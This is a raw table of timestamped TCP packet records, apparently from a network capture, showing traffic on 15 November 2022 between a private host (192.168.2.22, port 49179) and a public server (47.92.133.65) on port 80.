Nov 15, 2022 12:43:54.299829006 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299834013 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299856901 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299860954 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299884081 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299889088 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299911022 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299915075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299937963 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.299942017 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.299968958 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316054106 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316096067 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316123009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316148043 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316152096 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316174030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316181898 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316183090 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316198111 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316199064 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316214085 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316224098 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316241026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316248894 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316265106 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316273928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316288948 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316298962 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316313028 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316323042 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316338062 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316348076 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316361904 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316374063 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316382885 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316399097 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316407919 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316422939 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316431999 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316447973 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316462040 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316471100 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316482067 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316495895 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316504955 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316520929 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316531897 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316545010 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316557884 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316570044 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316581964 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316593885 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316603899 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316617966 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316627979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316642046 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316653013 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316665888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316682100 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316690922 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316701889 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316715002 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316730976 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316747904 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316752911 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316781998 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316792011 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316818953 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316823959 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316845894 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316859961 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316871881 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316895962 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316900969 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316915035 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316921949 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316940069 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316947937 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316958904 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.316973925 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.316999912 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.317013979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317023039 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317023993 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.317034960 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317049980 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.317060947 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317075014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.317080975 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317106009 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.317272902 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527301073 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527365923 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527410030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527452946 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527499914 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527518988 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527544975 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527545929 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527563095 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527595043 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527597904 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527642012 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527642012 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527689934 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527692080 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527738094 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527740002 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527785063 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527790070 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527834892 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527836084 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527882099 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527883053 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527930021 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527931929 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.527978897 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.527980089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528024912 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528028011 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528070927 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528076887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528117895 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528131008 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528165102 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528167009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528214931 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528214931 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528264999 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528265953 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528314114 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528317928 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528362989 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528362989 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528410912 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528413057 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528459072 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528460979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528507948 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528510094 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528557062 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528558969 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528609037 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528609991 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528656006 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528659105 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528702974 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528704882 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528750896 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528752089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528800011 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528801918 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528846025 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528850079 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528892994 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528897047 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528939009 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528940916 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.528986931 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.528987885 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529037952 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529038906 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529087067 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529087067 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529135942 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529138088 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529185057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529186010 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529232979 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529237986 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529279947 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529282093 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529328108 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529330969 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529376030 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529376984 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529422998 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529424906 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529472113 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529472113 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529520988 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529520988 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529571056 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529571056 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529617071 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529618979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529670000 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529673100 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529719114 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529725075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529767036 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529768944 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529814959 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529815912 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529864073 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529865026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529911995 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529913902 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.529959917 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.529963017 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530008078 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530009031 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530052900 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530097008 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530111074 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530144930 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530148983 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530194998 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530194998 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530242920 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530245066 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530291080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530292988 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530339003 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530342102 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530386925 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530389071 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530433893 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530437946 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530482054 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530488014 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530529022 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530533075 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530576944 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530577898 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530625105 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530627966 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530673981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530674934 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530720949 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530725002 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530767918 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530771017 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530817986 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530819893 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530864954 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530867100 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530915976 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.530940056 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530988932 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.530992031 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531037092 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531039000 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531085014 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531085968 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531133890 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531135082 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531183004 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531183004 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531230927 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531236887 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531280041 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531280041 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531327963 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531330109 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531377077 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531377077 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531425953 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531426907 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531475067 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531475067 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531523943 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531523943 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531572104 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531573057 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531620979 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531620026 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531668901 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531670094 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531718969 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531718969 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531768084 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531769037 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531815052 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531817913 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531863928 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531864882 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531910896 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531913996 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.531959057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.531963110 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532007933 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532010078 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532056093 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532058954 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532104969 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532108068 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532152891 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532155037 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532255888 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532257080 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532304049 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532305956 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532351971 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532354116 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532398939 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532402039 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532448053 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532449961 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532495975 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532496929 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532543898 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532546997 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532593012 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532594919 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532641888 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.532643080 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.532691956 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.544568062 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.544687033 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545337915 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545409918 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545444012 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545475960 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545486927 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545505047 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545507908 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545533895 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545542002 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545562029 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545571089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545589924 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545598984 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545618057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545635939 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545645952 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545665026 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545675039 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545682907 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545701981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545702934 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545728922 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545742989 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545757055 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545763969 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545785904 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545794010 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.545814991 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.545824051 CET	49179	80	192.168.2.22	47.92.133.65
